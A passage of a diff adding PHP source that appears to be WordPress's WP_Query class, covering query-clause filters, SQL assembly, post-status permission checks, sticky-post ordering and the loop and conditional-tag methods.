+			$fields = isset( $clauses[ 'fields' ] ) ? $clauses[ 'fields' ] : '';
+			$limits = isset( $clauses[ 'limits' ] ) ? $clauses[ 'limits' ] : '';
+		}
+
+		/**
+		 * Fires to announce the query's current selection parameters.
+		 *
+		 * For use by caching plugins.
+		 *
+		 * @since 2.3.0
+		 *
+		 * @param string $selection The assembled selection query.
+		 */
+		do_action( 'posts_selection', $where . $groupby . $orderby . $limits . $join );
+
+		/*
+		 * Filters again for the benefit of caching plugins.
+		 * Regular plugins should use the hooks above.
+		 */
+		if ( !$q['suppress_filters'] ) {
+			/**
+			 * Filters the WHERE clause of the query.
+			 *
+			 * For use by caching plugins.
+			 *
+			 * @since 2.5.0
+			 *
+			 * @param string   $where The WHERE clause of the query.
+			 * @param WP_Query $this The WP_Query instance (passed by reference).
+			 */
+			$where = apply_filters_ref_array( 'posts_where_request', array( $where, &$this ) );
+
+			/**
+			 * Filters the GROUP BY clause of the query.
+			 *
+			 * For use by caching plugins.
+			 *
+			 * @since 2.5.0
+			 *
+			 * @param string   $groupby The GROUP BY clause of the query.
+			 * @param WP_Query $this    The WP_Query instance (passed by reference).
+			 */
+			$groupby = apply_filters_ref_array( 'posts_groupby_request', array( $groupby, &$this ) );
+
+			/**
+			 * Filters the JOIN clause of the query.
+			 *
+			 * For use by caching plugins.
+			 *
+			 * @since 2.5.0
+			 *
+			 * @param string   $join  The JOIN clause of the query.
+			 * @param WP_Query $this The WP_Query instance (passed by reference).
+			 */
+			$join = apply_filters_ref_array( 'posts_join_request', array( $join, &$this ) );
+
+			/**
+			 * Filters the ORDER BY clause of the query.
+			 *
+			 * For use by caching plugins.
+			 *
+			 * @since 2.5.0
+			 *
+			 * @param string   $orderby The ORDER BY clause of the query.
+			 * @param WP_Query $this    The WP_Query instance (passed by reference).
+			 */
+			$orderby = apply_filters_ref_array( 'posts_orderby_request', array( $orderby, &$this ) );
+
+			/**
+			 * Filters the DISTINCT clause of the query.
+			 *
+			 * For use by caching plugins.
+			 *
+			 * @since 2.5.0
+			 *
+			 * @param string   $distinct The DISTINCT clause of the query.
+			 * @param WP_Query $this     The WP_Query instance (passed by reference).
+			 */
+			$distinct = apply_filters_ref_array( 'posts_distinct_request', array( $distinct, &$this ) );
+
+			/**
+			 * Filters the SELECT clause of the query.
+			 *
+			 * For use by caching plugins.
+			 *
+			 * @since 2.5.0
+			 *
+			 * @param string   $fields The SELECT clause of the query.
+			 * @param WP_Query $this   The WP_Query instance (passed by reference).
+			 */
+			$fields = apply_filters_ref_array( 'posts_fields_request', array( $fields, &$this ) );
+
+			/**
+			 * Filters the LIMIT clause of the query.
+			 *
+			 * For use by caching plugins.
+			 *
+			 * @since 2.5.0
+			 *
+			 * @param string   $limits The LIMIT clause of the query.
+			 * @param WP_Query $this   The WP_Query instance (passed by reference).
+			 */
+			$limits = apply_filters_ref_array( 'post_limits_request', array( $limits, &$this ) );
+
+			/**
+			 * Filters all query clauses at once, for convenience.
+			 *
+			 * For use by caching plugins.
+			 *
+			 * Covers the WHERE, GROUP BY, JOIN, ORDER BY, DISTINCT,
+			 * fields (SELECT), and LIMITS clauses.
+			 *
+			 * @since 3.1.0
+			 *
+			 * @param array    $pieces The pieces of the query.
+			 * @param WP_Query $this   The WP_Query instance (passed by reference).
+			 */
+			$clauses = (array) apply_filters_ref_array( 'posts_clauses_request', array( compact( $pieces ), &$this ) );
+
+			$where = isset( $clauses[ 'where' ] ) ? $clauses[ 'where' ] : '';
+			$groupby = isset( $clauses[ 'groupby' ] ) ? $clauses[ 'groupby' ] : '';
+			$join = isset( $clauses[ 'join' ] ) ? $clauses[ 'join' ] : '';
+			$orderby = isset( $clauses[ 'orderby' ] ) ? $clauses[ 'orderby' ] : '';
+			$distinct = isset( $clauses[ 'distinct' ] ) ? $clauses[ 'distinct' ] : '';
+			$fields = isset( $clauses[ 'fields' ] ) ? $clauses[ 'fields' ] : '';
+			$limits = isset( $clauses[ 'limits' ] ) ? $clauses[ 'limits' ] : '';
+		}
+
+		if ( ! empty($groupby) )
+			$groupby = 'GROUP BY ' . $groupby;
+		if ( !empty( $orderby ) )
+			$orderby = 'ORDER BY ' . $orderby;
+
+		$found_rows = '';
+		if ( !$q['no_found_rows'] && !empty($limits) )
+			$found_rows = 'SQL_CALC_FOUND_ROWS';
+
+		$this->request = $old_request = "SELECT $found_rows $distinct $fields FROM {$wpdb->posts} $join WHERE 1=1 $where $groupby $orderby $limits";
+
+		if ( !$q['suppress_filters'] ) {
+			/**
+			 * Filters the completed SQL query before sending.
+			 *
+			 * @since 2.0.0
+			 *
+			 * @param string   $request The complete SQL query.
+			 * @param WP_Query $this    The WP_Query instance (passed by reference).
+			 */
+			$this->request = apply_filters_ref_array( 'posts_request', array( $this->request, &$this ) );
+		}
+
+		/**
+		 * Filters the posts array before the query takes place.
+		 *
+		 * Return a non-null value to bypass WordPress's default post queries.
+		 *
+		 * Filtering functions that require pagination information are encouraged to set
+		 * the `found_posts` and `max_num_pages` properties of the WP_Query object,
+		 * passed to the filter by reference. If WP_Query does not perform a database
+		 * query, it will not have enough information to generate these values itself.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param array|null $posts Return an array of post data to short-circuit WP's query,
+		 *                          or null to allow WP to run its normal queries.
+		 * @param WP_Query   $this  The WP_Query instance (passed by reference).
+		 */
+		$this->posts = apply_filters_ref_array( 'posts_pre_query', array( null, &$this ) );
+
+		if ( 'ids' == $q['fields'] ) {
+			if ( null === $this->posts ) {
+				$this->posts = $wpdb->get_col( $this->request );
+			}
+
+			$this->posts = array_map( 'intval', $this->posts );
+			$this->post_count = count( $this->posts );
+			$this->set_found_posts( $q, $limits );
+
+			return $this->posts;
+		}
+
+		if ( 'id=>parent' == $q['fields'] ) {
+			if ( null === $this->posts ) {
+				$this->posts = $wpdb->get_results( $this->request );
+			}
+
+			$this->post_count = count( $this->posts );
+			$this->set_found_posts( $q, $limits );
+
+			$r = array();
+			foreach ( $this->posts as $key => $post ) {
+				$this->posts[ $key ]->ID = (int) $post->ID;
+				$this->posts[ $key ]->post_parent = (int) $post->post_parent;
+
+				$r[ (int) $post->ID ] = (int) $post->post_parent;
+			}
+
+			return $r;
+		}
+
+		if ( null === $this->posts ) {
+			$split_the_query = ( $old_request == $this->request && "{$wpdb->posts}.*" == $fields && !empty( $limits ) && $q['posts_per_page'] < 500 );
+
+			/**
+			 * Filters whether to split the query.
+			 *
+			 * Splitting the query will cause it to fetch just the IDs of the found posts
+			 * (and then individually fetch each post by ID), rather than fetching every
+			 * complete row at once. One massive result vs. many small results.
+			 *
+			 * @since 3.4.0
+			 *
+			 * @param bool     $split_the_query Whether or not to split the query.
+			 * @param WP_Query $this            The WP_Query instance.
+			 */
+			$split_the_query = apply_filters( 'split_the_query', $split_the_query, $this );
+
+			if ( $split_the_query ) {
+				// First get the IDs and then fill in the objects
+
+				$this->request = "SELECT $found_rows $distinct {$wpdb->posts}.ID FROM {$wpdb->posts} $join WHERE 1=1 $where $groupby $orderby $limits";
+
+				/**
+				 * Filters the Post IDs SQL request before sending.
+				 *
+				 * @since 3.4.0
+				 *
+				 * @param string   $request The post ID request.
+				 * @param WP_Query $this    The WP_Query instance.
+				 */
+				$this->request = apply_filters( 'posts_request_ids', $this->request, $this );
+
+				$ids = $wpdb->get_col( $this->request );
+
+				if ( $ids ) {
+					$this->posts = $ids;
+					$this->set_found_posts( $q, $limits );
+					_prime_post_caches( $ids, $q['update_post_term_cache'], $q['update_post_meta_cache'] );
+				} else {
+					$this->posts = array();
+				}
+			} else {
+				$this->posts = $wpdb->get_results( $this->request );
+				$this->set_found_posts( $q, $limits );
+			}
+		}
+
+		// Convert to WP_Post objects.
+		if ( $this->posts ) {
+			$this->posts = array_map( 'get_post', $this->posts );
+		}
+
+		if ( ! $q['suppress_filters'] ) {
+			/**
+			 * Filters the raw post results array, prior to status checks.
+			 *
+			 * @since 2.3.0
+			 *
+			 * @param array    $posts The post results array.
+			 * @param WP_Query $this The WP_Query instance (passed by reference).
+			 */
+			$this->posts = apply_filters_ref_array( 'posts_results', array( $this->posts, &$this ) );
+		}
+
+		if ( !empty($this->posts) && $this->is_comment_feed && $this->is_singular ) {
+			/** This filter is documented in wp-includes/query.php */
+			$cjoin = apply_filters_ref_array( 'comment_feed_join', array( '', &$this ) );
+
+			/** This filter is documented in wp-includes/query.php */
+			$cwhere = apply_filters_ref_array( 'comment_feed_where', array( "WHERE comment_post_ID = '{$this->posts[0]->ID}' AND comment_approved = '1'", &$this ) );
+
+			/** This filter is documented in wp-includes/query.php */
+			$cgroupby = apply_filters_ref_array( 'comment_feed_groupby', array( '', &$this ) );
+			$cgroupby = ( ! empty( $cgroupby ) ) ? 'GROUP BY ' . $cgroupby : '';
+
+			/** This filter is documented in wp-includes/query.php */
+			$corderby = apply_filters_ref_array( 'comment_feed_orderby', array( 'comment_date_gmt DESC', &$this ) );
+			$corderby = ( ! empty( $corderby ) ) ? 'ORDER BY ' . $corderby : '';
+
+			/** This filter is documented in wp-includes/query.php */
+			$climits = apply_filters_ref_array( 'comment_feed_limits', array( 'LIMIT ' . get_option('posts_per_rss'), &$this ) );
+
+			$comments_request = "SELECT {$wpdb->comments}.* FROM {$wpdb->comments} $cjoin $cwhere $cgroupby $corderby $climits";
+			$comments = $wpdb->get_results($comments_request);
+			// Convert to WP_Comment
+			$this->comments = array_map( 'get_comment', $comments );
+			$this->comment_count = count($this->comments);
+		}
+
+		// Check post status to determine if post should be displayed.
+		if ( !empty($this->posts) && ($this->is_single || $this->is_page) ) {
+			$status = get_post_status($this->posts[0]);
+			if ( 'attachment' === $this->posts[0]->post_type && 0 === (int) $this->posts[0]->post_parent ) {
+				$this->is_page = false;
+				$this->is_single = true;
+				$this->is_attachment = true;
+			}
+			$post_status_obj = get_post_status_object($status);
+
+			// If the post_status was specifically requested, let it pass through.
+			if ( !$post_status_obj->public && ! in_array( $status, $q_status ) ) {
+
+				if ( ! is_user_logged_in() ) {
+					// User must be logged in to view unpublished posts.
+					$this->posts = array();
+				} else {
+					if  ( $post_status_obj->protected ) {
+						// User must have edit permissions on the draft to preview.
+						if ( ! current_user_can($edit_cap, $this->posts[0]->ID) ) {
+							$this->posts = array();
+						} else {
+							$this->is_preview = true;
+							if ( 'future' != $status )
+								$this->posts[0]->post_date = current_time('mysql');
+						}
+					} elseif ( $post_status_obj->private ) {
+						if ( ! current_user_can($read_cap, $this->posts[0]->ID) )
+							$this->posts = array();
+					} else {
+						$this->posts = array();
+					}
+				}
+			}
+
+			if ( $this->is_preview && $this->posts && current_user_can( $edit_cap, $this->posts[0]->ID ) ) {
+				/**
+				 * Filters the single post for preview mode.
+				 *
+				 * @since 2.7.0
+				 *
+				 * @param WP_Post  $post_preview  The Post object.
+				 * @param WP_Query $this          The WP_Query instance (passed by reference).
+				 */
+				$this->posts[0] = get_post( apply_filters_ref_array( 'the_preview', array( $this->posts[0], &$this ) ) );
+			}
+		}
+
+		// Put sticky posts at the top of the posts array
+		$sticky_posts = get_option('sticky_posts');
+		if ( $this->is_home && $page <= 1 && is_array($sticky_posts) && !empty($sticky_posts) && !$q['ignore_sticky_posts'] ) {
+			$num_posts = count($this->posts);
+			$sticky_offset = 0;
+			// Loop over posts and relocate stickies to the front.
+			for ( $i = 0; $i < $num_posts; $i++ ) {
+				if ( in_array($this->posts[$i]->ID, $sticky_posts) ) {
+					$sticky_post = $this->posts[$i];
+					// Remove sticky from current position
+					array_splice($this->posts, $i, 1);
+					// Move to front, after other stickies
+					array_splice($this->posts, $sticky_offset, 0, array($sticky_post));
+					// Increment the sticky offset. The next sticky will be placed at this offset.
+					$sticky_offset++;
+					// Remove post from sticky posts array
+					$offset = array_search($sticky_post->ID, $sticky_posts);
+					unset( $sticky_posts[$offset] );
+				}
+			}
+
+			// If any posts have been excluded specifically, Ignore those that are sticky.
+			if ( !empty($sticky_posts) && !empty($q['post__not_in']) )
+				$sticky_posts = array_diff($sticky_posts, $q['post__not_in']);
+
+			// Fetch sticky posts that weren't in the query results
+			if ( !empty($sticky_posts) ) {
+				$stickies = get_posts( array(
+					'post__in' => $sticky_posts,
+					'post_type' => $post_type,
+					'post_status' => 'publish',
+					'nopaging' => true
+				) );
+
+				foreach ( $stickies as $sticky_post ) {
+					array_splice( $this->posts, $sticky_offset, 0, array( $sticky_post ) );
+					$sticky_offset++;
+				}
+			}
+		}
+
+		// If comments have been fetched as part of the query, make sure comment meta lazy-loading is set up.
+		if ( ! empty( $this->comments ) ) {
+			wp_queue_comments_for_comment_meta_lazyload( $this->comments );
+		}
+
+		if ( ! $q['suppress_filters'] ) {
+			/**
+			 * Filters the array of retrieved posts after they've been fetched and
+			 * internally processed.
+			 *
+			 * @since 1.5.0
+			 *
+			 * @param array    $posts The array of retrieved posts.
+			 * @param WP_Query $this The WP_Query instance (passed by reference).
+			 */
+			$this->posts = apply_filters_ref_array( 'the_posts', array( $this->posts, &$this ) );
+		}
+
+		// Ensure that any posts added/modified via one of the filters above are
+		// of the type WP_Post and are filtered.
+		if ( $this->posts ) {
+			$this->post_count = count( $this->posts );
+
+			$this->posts = array_map( 'get_post', $this->posts );
+
+			if ( $q['cache_results'] )
+				update_post_caches($this->posts, $post_type, $q['update_post_term_cache'], $q['update_post_meta_cache']);
+
+			$this->post = reset( $this->posts );
+		} else {
+			$this->post_count = 0;
+			$this->posts = array();
+		}
+
+		if ( $q['lazy_load_term_meta'] ) {
+			wp_queue_posts_for_term_meta_lazyload( $this->posts );
+		}
+
+		return $this->posts;
+	}
+
+	/**
+	 * Set up the amount of found posts and the number of pages (if limit clause was used)
+	 * for the current query.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param array  $q      Query variables.
+	 * @param string $limits LIMIT clauses of the query.
+	 */
+	private function set_found_posts( $q, $limits ) {
+		global $wpdb;
+		// Bail if posts is an empty array. Continue if posts is an empty string,
+		// null, or false to accommodate caching plugins that fill posts later.
+		if ( $q['no_found_rows'] || ( is_array( $this->posts ) && ! $this->posts ) )
+			return;
+
+		if ( ! empty( $limits ) ) {
+			/**
+			 * Filters the query to run for retrieving the found posts.
+			 *
+			 * @since 2.1.0
+			 *
+			 * @param string   $found_posts The query to run to find the found posts.
+			 * @param WP_Query $this        The WP_Query instance (passed by reference).
+			 */
+			$this->found_posts = $wpdb->get_var( apply_filters_ref_array( 'found_posts_query', array( 'SELECT FOUND_ROWS()', &$this ) ) );
+		} else {
+			if ( is_array( $this->posts ) ) {
+				$this->found_posts = count( $this->posts );
+			} else {
+				if ( null === $this->posts ) {  
+					$this->found_posts = 0;
+				} else {
+					$this->found_posts = 1;
+				}
+			}
+		}
+
+		/**
+		 * Filters the number of found posts for the query.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param int      $found_posts The number of posts found.
+		 * @param WP_Query $this        The WP_Query instance (passed by reference).
+		 */
+		$this->found_posts = apply_filters_ref_array( 'found_posts', array( $this->found_posts, &$this ) );
+
+		if ( ! empty( $limits ) )
+			$this->max_num_pages = ceil( $this->found_posts / $q['posts_per_page'] );
+	}
+
+	/**
+	 * Set up the next post and iterate current post index.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return WP_Post Next post.
+	 */
+	public function next_post() {
+
+		$this->current_post++;
+
+		$this->post = $this->posts[$this->current_post];
+		return $this->post;
+	}
+
+	/**
+	 * Sets up the current post.
+	 *
+	 * Retrieves the next post, sets up the post, sets the 'in the loop'
+	 * property to true.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @global WP_Post $post
+	 */
+	public function the_post() {
+		global $post;
+		$this->in_the_loop = true;
+
+		if ( $this->current_post == -1 ) // loop has just started
+			/**
+			 * Fires once the loop is started.
+			 *
+			 * @since 2.0.0
+			 *
+			 * @param WP_Query $this The WP_Query instance (passed by reference).
+			 */
+			do_action_ref_array( 'loop_start', array( &$this ) );
+
+		$post = $this->next_post();
+		$this->setup_postdata( $post );
+	}
+
+	/**
+	 * Determines whether there are more posts available in the loop.
+	 *
+	 * Calls the {@see 'loop_end'} action when the loop is complete.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return bool True if posts are available, false if end of loop.
+	 */
+	public function have_posts() {
+		if ( $this->current_post + 1 < $this->post_count ) {
+			return true;
+		} elseif ( $this->current_post + 1 == $this->post_count && $this->post_count > 0 ) {
+			/**
+			 * Fires once the loop has ended.
+			 *
+			 * @since 2.0.0
+			 *
+			 * @param WP_Query $this The WP_Query instance (passed by reference).
+			 */
+			do_action_ref_array( 'loop_end', array( &$this ) );
+			// Do some cleaning up after the loop
+			$this->rewind_posts();
+		} elseif ( 0 === $this->post_count ) {
+			/**
+			 * Fires if no results are found in a post query.
+			 *
+			 * @since 4.9.0
+			 *
+			 * @param WP_Query $this The WP_Query instance.
+			 */
+			do_action( 'loop_no_results', $this );
+		}
+
+		$this->in_the_loop = false;
+		return false;
+	}
+
+	/**
+	 * Rewind the posts and reset post index.
+	 *
+	 * @since 1.5.0
+	 */
+	public function rewind_posts() {
+		$this->current_post = -1;
+		if ( $this->post_count > 0 ) {
+			$this->post = $this->posts[0];
+		}
+	}
+
+	/**
+	 * Iterate current comment index and return WP_Comment object.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @return WP_Comment Comment object.
+	 */
+	public function next_comment() {
+		$this->current_comment++;
+
+		$this->comment = $this->comments[$this->current_comment];
+		return $this->comment;
+	}
+
+	/**
+	 * Sets up the current comment.
+	 *
+	 * @since 2.2.0
+	 * @global WP_Comment $comment Current comment.
+	 */
+	public function the_comment() {
+		global $comment;
+
+		$comment = $this->next_comment();
+
+		if ( $this->current_comment == 0 ) {
+			/**
+			 * Fires once the comment loop is started.
+			 *
+			 * @since 2.2.0
+			 */
+			do_action( 'comment_loop_start' );
+		}
+	}
+
+	/**
+	 * Whether there are more comments available.
+	 *
+	 * Automatically rewinds comments when finished.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @return bool True, if more comments. False, if no more posts.
+	 */
+	public function have_comments() {
+		if ( $this->current_comment + 1 < $this->comment_count ) {
+			return true;
+		} elseif ( $this->current_comment + 1 == $this->comment_count ) {
+			$this->rewind_comments();
+		}
+
+		return false;
+	}
+
+	/**
+	 * Rewind the comments, resets the comment index and comment to first.
+	 *
+	 * @since 2.2.0
+	 */
+	public function rewind_comments() {
+		$this->current_comment = -1;
+		if ( $this->comment_count > 0 ) {
+			$this->comment = $this->comments[0];
+		}
+	}
+
+	/**
+	 * Sets up the WordPress query by parsing query string.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string|array $query URL query string or array of query arguments.
+	 * @return array List of posts.
+	 */
+	public function query( $query ) {
+		$this->init();
+		$this->query = $this->query_vars = wp_parse_args( $query );
+		return $this->get_posts();
+	}
+
+	/**
+	 * Retrieve queried object.
+	 *
+	 * If queried object is not set, then the queried object will be set from
+	 * the category, tag, taxonomy, posts page, single post, page, or author
+	 * query variable. After it is set up, it will be returned.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return object
+	 */
+	public function get_queried_object() {
+		if ( isset($this->queried_object) )
+			return $this->queried_object;
+
+		$this->queried_object = null;
+		$this->queried_object_id = null;
+
+		if ( $this->is_category || $this->is_tag || $this->is_tax ) {
+			if ( $this->is_category ) {
+				if ( $this->get( 'cat' ) ) {
+					$term = get_term( $this->get( 'cat' ), 'category' );
+				} elseif ( $this->get( 'category_name' ) ) {
+					$term = get_term_by( 'slug', $this->get( 'category_name' ), 'category' );
+				}
+			} elseif ( $this->is_tag ) {
+				if ( $this->get( 'tag_id' ) ) {
+					$term = get_term( $this->get( 'tag_id' ), 'post_tag' );
+				} elseif ( $this->get( 'tag' ) ) {
+					$term = get_term_by( 'slug', $this->get( 'tag' ), 'post_tag' );
+				}
+			} else {
+				// For other tax queries, grab the first term from the first clause.
+				if ( ! empty( $this->tax_query->queried_terms ) ) {
+					$queried_taxonomies = array_keys( $this->tax_query->queried_terms );
+					$matched_taxonomy = reset( $queried_taxonomies );
+					$query = $this->tax_query->queried_terms[ $matched_taxonomy ];
+
+					if ( ! empty( $query['terms'] ) ) {
+						if ( 'term_id' == $query['field'] ) {
+							$term = get_term( reset( $query['terms'] ), $matched_taxonomy );
+						} else {
+							$term = get_term_by( $query['field'], reset( $query['terms'] ), $matched_taxonomy );
+						}
+					}
+				}
+			}
+
+			if ( ! empty( $term ) && ! is_wp_error( $term ) )  {
+				$this->queried_object = $term;
+				$this->queried_object_id = (int) $term->term_id;
+
+				if ( $this->is_category && 'category' === $this->queried_object->taxonomy )
+					_make_cat_compat( $this->queried_object );
+			}
+		} elseif ( $this->is_post_type_archive ) {
+			$post_type = $this->get( 'post_type' );
+			if ( is_array( $post_type ) )
+				$post_type = reset( $post_type );
+			$this->queried_object = get_post_type_object( $post_type );
+		} elseif ( $this->is_posts_page ) {
+			$page_for_posts = get_option('page_for_posts');
+			$this->queried_object = get_post( $page_for_posts );
+			$this->queried_object_id = (int) $this->queried_object->ID;
+		} elseif ( $this->is_singular && ! empty( $this->post ) ) {
+			$this->queried_object = $this->post;
+			$this->queried_object_id = (int) $this->post->ID;
+		} elseif ( $this->is_author ) {
+			$this->queried_object_id = (int) $this->get('author');
+			$this->queried_object = get_userdata( $this->queried_object_id );
+		}
+
+		return $this->queried_object;
+	}
+
+	/**
+	 * Retrieve ID of the current queried object.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return int
+	 */
+	public function get_queried_object_id() {
+		$this->get_queried_object();
+
+		if ( isset($this->queried_object_id) ) {
+			return $this->queried_object_id;
+		}
+
+		return 0;
+	}
+
+	/**
+	 * Constructor.
+	 *
+	 * Sets up the WordPress query, if parameter is not empty.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string|array $query URL query string or array of vars.
+	 */
+	public function __construct( $query = '' ) {
+		if ( ! empty( $query ) ) {
+			$this->query( $query );
+		}
+	}
+
+	/**
+	 * Make private properties readable for backward compatibility.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $name Property to get.
+	 * @return mixed Property.
+	 */
+	public function __get( $name ) {
+		if ( in_array( $name, $this->compat_fields ) ) {
+			return $this->$name;
+		}
+	}
+
+	/**
+	 * Make private properties checkable for backward compatibility.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $name Property to check if set.
+	 * @return bool Whether the property is set.
+	 */
+	public function __isset( $name ) {
+		if ( in_array( $name, $this->compat_fields ) ) {
+			return isset( $this->$name );
+		}
+	}
+
+	/**
+	 * Make private/protected methods readable for backward compatibility.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param callable $name      Method to call.
+	 * @param array    $arguments Arguments to pass when calling.
+	 * @return mixed|false Return value of the callback, false otherwise.
+	 */
+	public function __call( $name, $arguments ) {
+		if ( in_array( $name, $this->compat_methods ) ) {
+			return call_user_func_array( array( $this, $name ), $arguments );
+		}
+		return false;
+	}
+
+	/**
+ 	 * Is the query for an existing archive page?
+ 	 *
+ 	 * Month, Year, Category, Author, Post Type archive...
+	 *
+ 	 * @since 3.1.0
+ 	 *
+ 	 * @return bool
+ 	 */
+	public function is_archive() {
+		return (bool) $this->is_archive;
+	}
+
+	/**
+	 * Is the query for an existing post type archive page?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param mixed $post_types Optional. Post type or array of posts types to check against.
+	 * @return bool
+	 */
+	public function is_post_type_archive( $post_types = '' ) {
+		if ( empty( $post_types ) || ! $this->is_post_type_archive )
+			return (bool) $this->is_post_type_archive;
+
+		$post_type = $this->get( 'post_type' );
+		if ( is_array( $post_type ) )
+			$post_type = reset( $post_type );
+		$post_type_object = get_post_type_object( $post_type );
+
+		return in_array( $post_type_object->name, (array) $post_types );
+	}
+
+	/**
+	 * Is the query for an existing attachment page?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param mixed $attachment Attachment ID, title, slug, or array of such.
+	 * @return bool
+	 */
+	public function is_attachment( $attachment = '' ) {
+		if ( ! $this->is_attachment ) {
+			return false;
+		}
+
+		if ( empty( $attachment ) ) {
+			return true;
+		}
+
+		$attachment = array_map( 'strval', (array) $attachment );
+
+		$post_obj = $this->get_queried_object();
+
+		if ( in_array( (string) $post_obj->ID, $attachment ) ) {
+			return true;
+		} elseif ( in_array( $post_obj->post_title, $attachment ) ) {
+			return true;
+		} elseif ( in_array( $post_obj->post_name, $attachment ) ) {
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Is the query for an existing author archive page?
+	 *
+	 * If the $author parameter is specified, this function will additionally
+	 * check if the query is for one of the authors specified.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param mixed $author Optional. User ID, nickname, nicename, or array of User IDs, nicknames, and nicenames
+	 * @return bool
+	 */
+	public function is_author( $author = '' ) {
+		if ( !$this->is_author )
+			return false;
+
+		if ( empty($author) )
+			return true;
+
+		$author_obj = $this->get_queried_object();
+
+		$author = array_map( 'strval', (array) $author );
+
+		if ( in_array( (string) $author_obj->ID, $author ) )
+			return true;
+		elseif ( in_array( $author_obj->nickname, $author ) )
+			return true;
+		elseif ( in_array( $author_obj->user_nicename, $author ) )
+			return true;
+
+		return false;
+	}
+
+	/**
+	 * Is the query for an existing category archive page?
+	 *
+	 * If the $category parameter is specified, this function will additionally
+	 * check if the query is for one of the categories specified.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param mixed $category Optional. Category ID, name, slug, or array of Category IDs, names, and slugs.
+	 * @return bool
+	 */
+	public function is_category( $category = '' ) {
+		if ( !$this->is_category )
+			return false;
+
+		if ( empty($category) )
+			return true;
+
+		$cat_obj = $this->get_queried_object();
+
+		$category = array_map( 'strval', (array) $category );
+
+		if ( in_array( (string) $cat_obj->term_id, $category ) )
+			return true;
+		elseif ( in_array( $cat_obj->name, $category ) )
+			return true;
+		elseif ( in_array( $cat_obj->slug, $category ) )
+			return true;
+
+		return false;
+	}
+
+	/**
+	 * Is the query for an existing tag archive page?
+	 *
+	 * If the $tag parameter is specified, this function will additionally
+	 * check if the query is for one of the tags specified.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param mixed $tag Optional. Tag ID, name, slug, or array of Tag IDs, names, and slugs.
+	 * @return bool
+	 */
+	public function is_tag( $tag = '' ) {
+		if ( ! $this->is_tag )
+			return false;
+
+		if ( empty( $tag ) )
+			return true;
+
+		$tag_obj = $this->get_queried_object();
+
+		$tag = array_map( 'strval', (array) $tag );
+
+		if ( in_array( (string) $tag_obj->term_id, $tag ) )
+			return true;
+		elseif ( in_array( $tag_obj->name, $tag ) )
+			return true;
+		elseif ( in_array( $tag_obj->slug, $tag ) )
+			return true;
+
+		return false;
+	}
+
+	/**
+	 * Is the query for an existing custom taxonomy archive page?
+	 *
+	 * If the $taxonomy parameter is specified, this function will additionally
+	 * check if the query is for that specific $taxonomy.
+	 *
+	 * If the $term parameter is specified in addition to the $taxonomy parameter,
+	 * this function will additionally check if the query is for one of the terms
+	 * specified.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @global array $wp_taxonomies
+	 *
+	 * @param mixed $taxonomy Optional. Taxonomy slug or slugs.
+	 * @param mixed $term     Optional. Term ID, name, slug or array of Term IDs, names, and slugs.
+	 * @return bool True for custom taxonomy archive pages, false for built-in taxonomies (category and tag archives).
+	 */
+	public function is_tax( $taxonomy = '', $term = '' ) {
+		global $wp_taxonomies;
+
+		if ( !$this->is_tax )
+			return false;
+
+		if ( empty( $taxonomy ) )
+			return true;
+
+		$queried_object = $this->get_queried_object();
+		$tax_array = array_intersect( array_keys( $wp_taxonomies ), (array) $taxonomy );
+		$term_array = (array) $term;
+
+		// Check that the taxonomy matches.
+		if ( ! ( isset( $queried_object->taxonomy ) && count( $tax_array ) && in_array( $queried_object->taxonomy, $tax_array ) ) )
+			return false;
+
+		// Only a Taxonomy provided.
+		if ( empty( $term ) )
+			return true;
+
+		return isset( $queried_object->term_id ) &&
+			count( array_intersect(
+				array( $queried_object->term_id, $queried_object->name, $queried_object->slug ),
+				$term_array
+			) );
+	}
+
+	/**
+	 * Whether the current URL is within the comments popup window.
+	 *
+	 * @since 3.1.0
+	 * @deprecated 4.5.0
+	 *
+	 * @return bool
+	 */
+	public function is_comments_popup() {
+		_deprecated_function( __FUNCTION__, '4.5.0' );
+
+		return false;
+	}
+
+	/**
+	 * Is the query for an existing date archive?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool
+	 */
+	public function is_date() {
+		return (bool) $this->is_date;
+	}
+
+	/**
+	 * Is the query for an existing day archive?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool
+	 */
+	public function is_day() {
+		return (bool) $this->is_day;
+	}
+
+	/**
+	 * Is the query for a feed?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string|array $feeds Optional feed types to check.
+	 * @return bool
+	 */
+	public function is_feed( $feeds = '' ) {
+		if ( empty( $feeds ) || ! $this->is_feed )
+			return (bool) $this->is_feed;
+		$qv = $this->get( 'feed' );
+		if ( 'feed' == $qv )
+			$qv = get_default_feed();
+		return in_array( $qv, (array) $feeds );
+	}
+
+	/**
+	 * Is the query for a comments feed?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool
+	 */
+	public function is_comment_feed() {
+		return (bool) $this->is_comment_feed;
+	}
+
+	/**
+	 * Is the query for the front page of the site?
+	 *
+	 * This is for what is displayed at your site's main URL.
+	 *
+	 * Depends on the site's "Front page displays" Reading Settings 'show_on_front' and 'page_on_front'.
+	 *
+	 * If you set a static page for the front page of your site, this function will return
+	 * true when viewing that page.
+	 *
+	 * Otherwise the same as @see WP_Query::is_home()
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool True, if front of site.
+	 */
+	public function is_front_page() {
+		// most likely case
+		if ( 'posts' == get_option( 'show_on_front') && $this->is_home() )
+			return true;
